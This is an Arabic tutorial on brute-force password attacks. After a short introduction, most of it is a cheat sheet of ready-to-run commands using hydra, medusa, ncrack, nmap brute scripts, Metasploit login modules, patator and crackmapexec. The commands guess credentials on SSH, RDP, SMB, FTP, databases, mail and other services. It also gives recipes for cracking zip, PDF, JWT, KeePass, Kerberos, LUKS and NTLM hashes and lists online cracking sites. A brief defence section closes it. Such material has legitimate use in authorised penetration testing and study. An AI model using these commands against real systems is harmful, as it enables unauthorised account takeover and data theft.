
هجوم القوة الغاشمة - Brute-Force Attack
تبدأ هجمات القاموس ببعض التخمينات حول كلمات المرور الشائعة لمحاولة التخمين من القائمة الموجودة في القاموس. تميل هذه الهجمات إلى أن تكون قديمة نوعًا ما ، نظرًا لتقنيات أحدث وأكثر فعالية.
أجهزة الكمبيوتر الحديثة التي تم تصنيعها خلال السنوات العشر الماضية يمكنها كسر كلمة مرور مكونة من 8 أحرف أبجدية رقمية - الأحرف الكبيرة والصغيرة والأرقام والأحرف الخاصة - في حوالي ساعتين.
أجهزة الكمبيوتر سريعة للغاية بحيث يمكنها فك تشفير الهاش (بتشفير ضعيف) في غضون أشهر . تُعرف هذه الأنواع من هجمات القوة الغاشمة بالبحث الشامل عن المفاتيح ، حيث يحاول الكمبيوتر كل مجموعة ممكنة للعثور على المجموعة الصحيحة.
إعادة تدوير بيانات الاعتماد هو نوع آخر من هجمات القوة الغاشمة التي تعيد استخدام أسماء المستخدمين وكلمات المرور من تسريبات البيانات الأخرى لمحاولة اختراق أنظمة أخرى.
يستخدم هجوم القوة الغاشمة العكسي كلمة مرور شائعة مثل "Password" أو "123456" . نظرًا لأن كلمة المرور هي واحدة من أكثر كلمات المرور شيوعًا في عام 2017 ، فإن هذه التقنية أكثر نجاحًا مما تعتقد.
الدوافع وراء هجمات القوة الغاشمة
تحدث هجمات القوة الغاشمة في المراحل الأولى من سلسلة القتل السيبراني Cyber Kill Chain ، عادةً خلال مرحلتي الاستطلاع والتسلل.
يحتاج المهاجمون إلى الوصول لنقاط الدخول إلى أهدافهم ، وتقنيات القوة الغاشمة هي طريقة للحصول على هذا الوصول.
بمجرد دخولهم إلى الشبكة ، يمكن للمهاجمين استخدام تقنيات القوة الغاشمة لتصعيد امتيازاتهم أو لتشغيل هجمات الرجوع إلى إصدار أقدم من التشفير.
يستخدم المهاجمون أيضًا هجمات القوة الغاشمة للبحث عن صفحات الويب المخفية. صفحات الويب المخفية هي مواقع ويب موجودة على الإنترنت غير مفهرسة في محركات البحث وغير مرتبطة بصفحات أخرى مثل صفحات لوحة تحكم مدير الموقع Login والكونفيج وغيرها .
يختبر هجوم القوة الغاشمة عناوين URLS مختلفة لمعرفة ما إذا كانت تُعيد صفحة ويب صالحة Response code 200، وسوف تبحث عن صفحة يمكنهم استغلالها.
أشياء مثل ثغرة برمجية في الشفرة يمكن استخدامها للاختراق - مثل الثغرة المستخدمة للتسلل إلى Equifax ، أو صفحة ويب تحتوي على قائمة بأسماء المستخدمين وكلمات المرور المكشوفة للعامة .
كيفية اختراق الخدمات بواسطة التخمين Brute-Force Services Password-Cracking
- <IP> او RHOSTS تعوضه بال اي بي الخاص بالسرفر المستهدف
- <PATH_PASSWDS> او passwords.txt تستبدله بملف يحتوي على قائمة كلمات مرور
- <PATH_USERS> او <username> تستبدله بملف يحتوي على قائمة اسماء المستخدمين مثل ADMIN , ROOT, USER
- RPORT تقوم باستبدالها بالبورت المراد اختراقه
اختراق الخدمات Brute-Force Attack Services
nmap -p 548 --script afp-brute <IP>msf> use auxiliary/scanner/afp/afp_loginmsf> set BLANK_PASSWORDS truemsf> set USER_AS_PASS truemsf> set PASS_FILE <PATH_PASSWDS>msf> set USER_FILE <PATH_USERS>msf> run
nmap --script ajp-brute -p 8009 <IP>
nmap --script cassandra-brute -p 9160 <IP>
msf> use auxiliary/scanner/couchdb/couchdb_loginhydra /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
hydra /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
hydra -l root -P passwords.txt [-t 32] <IP> ftpncrack -p 21 --user root -P passwords.txt <IP> [-T 5]medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/# Use https-get mode for httpSmedusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V# Use https-post-form mode for httpSFor https you have to change from "http-post-form" to "https-post-form"
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -Vhydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -Vnmap -sV --script imap-brute -p <PORT> <IP>
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
nmap --script ldap-brute -p 389 <IP>
nmap -sV --script mongodb-brute -n -p 27017 <IP>use auxiliary/scanner/mongodb/mongodb_login
hydra -L usernames.txt -P pass.txt <IP> mysqlmsf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017./odat.py passwordguesser -s $SERVER -d $SID./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt#msf1msf> use admin/oracle/oracle_loginmsf> set RHOSTS <IP>msf> set RPORT 1521msf> set SID <SID>#msf2, this option uses nmap and it fails sometimes for some reasonmsf> use scanner/oracle/oracle_loginmsf> set RHOSTS <IP>msf> set RPORTS 1521msf> set SID <SID>#nmap fails sometimes for some reson executing this scriptnmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
pip3 install cx_Oracle --upgrade
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -Vhydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgresmedusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgresncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txtuse auxiliary/scanner/postgres/postgres_loginnmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
sudo dpkg -i thc-pptp-bruter*.deb #Install the packagecat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
ncrack -vv --user <User> -P pwds.txt rdp://<IP>hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
msf> use auxiliary/scanner/redis/redis_loginnmap --script redis-brute -p 6379 <IP>hydra –P /path/pass.txt <IP> redis
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
hydra -L <Username_list> rsh://<Victim_IP> -v -Vhttp://pentestmonkey.net/tools/misc/rsh-grind
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
hydra -l root -P passwords.txt <IP> rtsp
msf> use auxiliary/scanner/snmp/snmp_loginnmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
nmap --script smb-brute -p 445 <IP>hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -Vhydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
#Use the NetBIOS name of the machine as domaincrackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txthydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssqlmedusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssqlnmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be carefull with the number of password in the list, this could block accountsmsf> use auxiliary/scanner/mssql/mssql_login #Be carefull, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
hydra -l root -P passwords.txt [-t 32] <IP> sshncrack -p 22 --user root -P passwords.txt <IP> [-T 5]medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
hydra -l root -P passwords.txt [-t 32] <IP> telnetncrack -p 23 --user root -P passwords.txt <IP> [-T 5]medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vncmedusa -h <IP> –u root -P /root/Desktop/pass.txt –M vncncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>Tpatator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0use auxiliary/scanner/vnc/vnc_loginnmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zipzip2john file.zip > zip.johnjohn zip.john
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z#Download and install requirements for 7z2johnwget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.plapt-get install libcompress-raw-lzma-perl./7z2john.pl file.7z > 7zhash.john
apt-get install pdfcrackpdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt#pdf2john didnt worked well, john didnt know which hash type was# To permanently decrypt the pdfsudo apt-get install qpdfqpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
git clone https://github.com/Sjord/jwtcrack.gitcd jwtcrack#Bruteforce using crackjwt.pypython crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt#Bruteforce using johnpython jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.johnjohn jwt.john #It does not work with Kali-John
Format:USUARIO:ID:HASH_LM:HASH_NT:::jhon --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hasheshashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
sudo apt-get install -y kpcli #Install keepass tools like keepass2johnkeepass2john file.kdbx > hash #The keepass is only using passwordkeepass2john -k <file-password> file.kdbx > hash # The keepas is also using a file as a needed credential#The keepass can use password and/or a file as credentials, if it is using both you need to provide them to keepass2johnjohn --wordlist=/usr/share/wordlists/rockyou.txt hash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoasthashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
bruteforce-luks -f ./list.txt ./backup.imgcryptsetup luksOpen backup.img mylucksopenls /dev/mapper/ #You should find here the image mylucksopenmount /dev/mapper/mylucksopen /mnt
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1hashcat -m 14600 luckshashcryptsetup luksOpen backup.img mylucksopenls /dev/mapper/ #You should find here the image mylucksopenmount /dev/mapper/mylucksopen /mnt
#John hash format<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
hash-identifier <هنا تلصق الهاش بدون اقواس>
john --wordlist=words.txt --rules --stdout > w_mutated.txtjohn --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
hashcat --example-hashes | grep -B1 -A2 "NTLM"Cracking Linux Hashes - /etc/shadow file500 | md5crypt $1$, MD5(Unix) | Operating-Systems3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems1800 | sha512crypt $6$, SHA512(Unix) | Operating-SystemsCracking Windows Hashes3000 | LM | Operating-Systems1000 | NTLM | Operating-SystemsCracking Common Application Hashes900 | MD4 | Raw Hash0 | MD5 | Raw Hash5100 | Half MD5 | Raw Hash100 | SHA1 | Raw Hash10800 | SHA-384 | Raw Hash1400 | SHA-256 | Raw Hash1700 | SHA-512 | Raw Hash
مواقع فك تشفير الهاش اونلاين Online cracking databases
- https://www.onlinehashcrack.com/ (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...)
- https://crackstation.net/ (Hashes)
- https://md5decrypt.net/ (MD5)
- https://gpuhash.me/ (Hashes and file hashes)
- https://hashes.org/search.php (Hashes)
- https://www.cmd5.org/ (Hashes)
- https://hashkiller.io/listmanager (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
- https://www.md5online.org/md5-decrypt.html (MD5)
كيفية الحماية ضد هجمات Brute Force Attack
تحتاج هجمات القوة الغاشمة إلى وقت كبير لكسر كلمات المرور. قد تستغرق بعض الهجمات أسابيع أو حتى شهورًا لتقديم أي شيء يمكن استخدامه.
تتضمن معظم الدفاعات ضد هجمات القوة الغاشمة زيادة الوقت اللازم للنجاح بما يتجاوز ما هو ممكن تقنيًا ، لكن هذا ليس الدفاع الوحيد.
الحد من محاولات تسجيل الدخول : تزيد هجمات القوة الغاشمة من محاولات تسجيل الدخول الفاشلة في معظم خدمات الدليل - الدفاع الجيد ضد هجمات القوة الغاشمة هو حظر المستخدمين بعد بضع محاولات فاشلة (بعد 5 محاولات فاشلة مثلا)، وبالتالي إبطال هجوم التخمين قيد التقدم.
تفعيل Captcha : يعد Captcha نظامًا شائعًا للتحقق من أن الإنسان هو إنسان على مواقع الويب ويمكنه إيقاف هجمات القوة الغاشمة الجارية
استخدام المصادقة متعددة العوامل: تضيف المصادقة متعددة العوامل طبقة ثانية من الأمان لكل محاولة تسجيل دخول تتطلب تدخلاً بشريًا يمكن أن يوقف هجوم القوة الغاشمة من النجاح
تبدأ الطريقة الاستباقية لوقف هجمات القوة الغاشمة بالمراقبة. يراقب Varonis نشاط Active Directory وحركة مرور VPN لاكتشاف هجمات القوة الغاشمة الجارية.
من الأفضل اكتشاف هجوم قيد التقدم وإيقاف الهجوم بفاعلية بدلاً من أن تأمل أن تكون كلمات مرورك غير قابلة للاختراق.
بمجرد اكتشاف الهجوم وإيقافه ، يمكنك حتى وضع عناوين IP في القائمة السوداء ومنع المزيد من الهجمات من نفس الكمبيوتر.